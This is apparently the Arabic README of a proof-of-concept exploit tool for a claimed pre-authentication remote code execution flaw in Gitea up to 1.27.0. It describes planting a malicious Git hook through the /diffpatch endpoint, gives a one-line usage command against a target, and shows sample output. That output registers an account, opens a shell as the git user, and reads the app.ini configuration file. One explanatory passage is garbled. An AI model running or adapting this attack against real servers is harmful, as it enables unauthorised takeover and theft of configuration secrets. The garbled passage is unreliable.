
CVE-2026-60004 — Gitea <= 1.27.0 Pre-Auth RCE
هذا هو برنامج إثبات مفهوم (PoC) لاستغلال CVE-2026-60004، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في إصدارات Gitea من 1.17 حتى 1.27.0. يقوم البرنامج النصي بأتمتة سلسلة الاستغلال الكاملة، بدءًا من تسجيل المستخدم وصولًا إلى إنشاء قشرة تفاعلية مستقرة على الخادم المستهدف.
توجد الثغرة في نقطة نهاية API الخاصة بـ /diffpatch. من خلال إرسال تصحيح خبيث مرتين، يؤدي تصادم add/add إلى تفعيل آلية احتياطية للدمج ثلاثي الاتجاهات تتجاهل علامة --cached وتكتب خطاف Git قابلًا للتنفيذ مباشرةً في GIT_DIR الخاص بالمستودع المكشوف (bare repository). عند قيام Git بتحديث الفهرس، يقوم تلقائيًا بتنفيذ هذا الخطاف، مما يسمح بتنفيذ أوامر عشوائية بحساب خدمة Gitea.
نظرًا لأن Gitea هو ملف ثنائي مُجمَّع بلغة Go بدون مترجم PHP مضمّن، فإن وضع قشرة ويب تقليدية غالبًا ما يفشل إذا لم يكن هناك خادم ويب ثانوي مهيأ لتنفيذها. لحل هذه المشكلة وضمان استقرار الاستغلال بشكل كامل، يستخدم هذا البرنامج النصي نهجًا يعتمد على API:
post-index-change عبر تصادم diffpatch.cmd.sh)، وينفذه بحساب الخدمة، ويكتب المخرجات في كائن blob خاص بـ git (proof).يُنشئ هذا قشرة تفاعلية كاملة الوظائف مباشرةً عبر Gitea API، دون الحاجة إلى خوادم ويب خارجية أو مترجمات ثانوية.
python3 poc.py https://target.com
بمجرد التشغيل، سيقوم البرنامج النصي تلقائيًا بتسجيل حساب، وزرع الخطاف الخبيث، ويضعك في قشرة تفاعلية:
---------------------------------------------------
CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
Fully Interactive API Shell
---------------------------------------------------
[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)
==================================================
Gitea API-driven Interactive Shell
Type 'exit' to quit
==================================================
gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط، مثل مسابقات CTF. تأكد من أن لديك إذنًا صريحًا لاختبار النظام المستهدف. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
Chirag Artani - https://3rag.com